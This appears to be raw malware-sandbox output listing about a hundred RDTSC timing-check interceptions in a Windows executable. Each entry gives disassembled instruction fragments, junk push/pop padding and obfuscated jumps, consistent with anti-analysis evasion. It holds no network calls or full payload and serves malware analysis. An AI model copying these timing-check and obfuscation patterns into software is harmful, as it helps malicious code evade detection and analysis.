Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F7CC second address: F1F7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F7D0 second address: F1F7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jng 00007FD4A4ED8670h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20163 second address: F20167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20167 second address: F2016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2584E second address: F25853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25853 second address: F25870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED8679h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25870 second address: F25874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A66 second address: F24A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26868 second address: F2686D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28832 second address: F2883C instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4A4ED8672h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2694F second address: F26968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2883C second address: F2884B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD4A4ED8666h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26968 second address: F2696C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2696C second address: F26975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28F76 second address: F28F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F291C8 second address: F291DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A10F second address: F2A119 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A4C5469Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F291DA second address: F291E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD4A4ED8666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C050 second address: F2C068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B141 second address: F2B157 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A4ED8668h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jns 00007FD4A4ED866Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30038 second address: F30052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4A4C546A3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30052 second address: F30056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F301C2 second address: F301D0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A4C54696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31139 second address: F31140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33DF7 second address: F33E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33E0E second address: F33E12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31237 second address: F3123B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D99 second address: F34D9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D9F second address: F34DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jbe 00007FD4A4C5469Ch 0x00000012 sub dword ptr [ebp+122D1A9Bh], ecx 0x00000018 pushad 0x00000019 js 00007FD4A4C5469Ch 0x0000001f mov esi, dword ptr [ebp+122D35EFh] 0x00000025 popad 0x00000026 push 00000000h 0x00000028 jmp 00007FD4A4C546A1h 0x0000002d push 00000000h 0x0000002f mov edi, eax 0x00000031 or ebx, dword ptr [ebp+122D1B20h] 0x00000037 push eax 0x00000038 push esi 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC11 second address: F3DC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC1F second address: F3DC2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC2E second address: F3DC33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC33 second address: F3DC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD4A4C54696h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DD9F second address: F3DE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD4A4ED8679h 0x0000000d jo 00007FD4A4ED8666h 0x00000013 jmp 00007FD4A4ED8677h 0x00000018 popad 0x00000019 je 00007FD4A4ED8671h 0x0000001f jmp 00007FD4A4ED866Fh 0x00000024 popad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DE06 second address: F3DE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DE0A second address: F3DE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DF6B second address: F3DF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43ABC second address: F43AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43AC2 second address: F43AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43C01 second address: F43C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49863 second address: F49867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4854E second address: F4855D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD4A4ED8666h 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BA6 second address: F48BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BAA second address: F48BD0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A4ED8674h 0x00000011 jne 00007FD4A4ED8666h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BD0 second address: F48BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BD8 second address: F48BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BE1 second address: F48BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48FBD second address: F48FE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FD4A4ED8674h 0x0000000a jnl 00007FD4A4ED8666h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48FE1 second address: F49011 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4A4C546A3h 0x0000000f jmp 00007FD4A4C546A3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49011 second address: F49018 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4945A second address: F4945F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4945F second address: F49464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D112 second address: F4D116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22834 second address: F22838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22838 second address: F01238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FD4A4C5469Eh 0x0000000e jns 00007FD4A4C54698h 0x00000014 popad 0x00000015 nop 0x00000016 jnp 00007FD4A4C546A0h 0x0000001c lea eax, dword ptr [ebp+12497588h] 0x00000022 pushad 0x00000023 pushad 0x00000024 movsx ecx, di 0x00000027 jns 00007FD4A4C54696h 0x0000002d popad 0x0000002e xor dword ptr [ebp+122D2E25h], edi 0x00000034 popad 0x00000035 push eax 0x00000036 push esi 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a jne 00007FD4A4C54696h 0x00000040 popad 0x00000041 pop esi 0x00000042 mov dword ptr [esp], eax 0x00000045 call dword ptr [ebp+122D2971h] 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22EC3 second address: F22EE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FD4A4ED8673h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F18 second address: F22F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jnp 00007FD4A4C54696h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F32 second address: F22F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b mov dl, 5Fh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F56 second address: F22F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F5A second address: F22F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F5E second address: F22F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F64 second address: F22F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22F6A second address: F22F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BA00 second address: F1BA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 jbe 00007FD4A4ED8666h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F231C9 second address: F231E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F235D2 second address: F235E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FD4A4ED8666h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F235E0 second address: F23670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jns 00007FD4A4C54696h 0x00000015 popad 0x00000016 pushad 0x00000017 je 00007FD4A4C54696h 0x0000001d push eax 0x0000001e pop eax 0x0000001f popad 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FD4A4C54698h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c pushad 0x0000003d mov edi, dword ptr [ebp+12468027h] 0x00000043 mov dh, bl 0x00000045 popad 0x00000046 push 0000001Eh 0x00000048 mov edx, dword ptr [ebp+122D1A85h] 0x0000004e nop 0x0000004f jng 00007FD4A4C546A8h 0x00000055 jmp 00007FD4A4C546A2h 0x0000005a push eax 0x0000005b push edi 0x0000005c push eax 0x0000005d push edx 0x0000005e jne 00007FD4A4C54696h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F239DC second address: F239F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F239F2 second address: F239F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50857 second address: F50883 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4A4ED8666h 0x00000008 jnc 00007FD4A4ED8666h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FD4A4ED8679h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50883 second address: F5089D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 jl 00007FD4A4C546AAh 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FD4A4C54696h 0x00000014 jno 00007FD4A4C54696h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B39 second address: F50B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B3F second address: F50B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B43 second address: F50B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B49 second address: F50B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B4F second address: F50B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50B55 second address: F50B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50CF6 second address: F50D27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD4A4ED866Fh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FD4A4ED8666h 0x00000011 jmp 00007FD4A4ED8676h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50D27 second address: F50D3A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FD4A4C546B3h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5108F second address: F5109F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD4A4ED8666h 0x0000000a jno 00007FD4A4ED8666h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51330 second address: F51337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F594A5 second address: F594AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F594AB second address: F594D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jnl 00007FD4A4C54696h 0x0000000e jmp 00007FD4A4C546A5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59629 second address: F5962D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5962D second address: F59633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59633 second address: F59649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD4A4ED866Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59649 second address: F59650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59650 second address: F59677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED8676h 0x00000009 jmp 00007FD4A4ED866Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F591C8 second address: F591EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD4A4C546A9h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F591EB second address: F591EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F591EF second address: F591F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59EAD second address: F59ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007FD4A4ED8671h 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A1A9 second address: F5A1C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6002D second address: F6004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED8679h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6004C second address: F60070 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4A4C546A7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60070 second address: F60074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
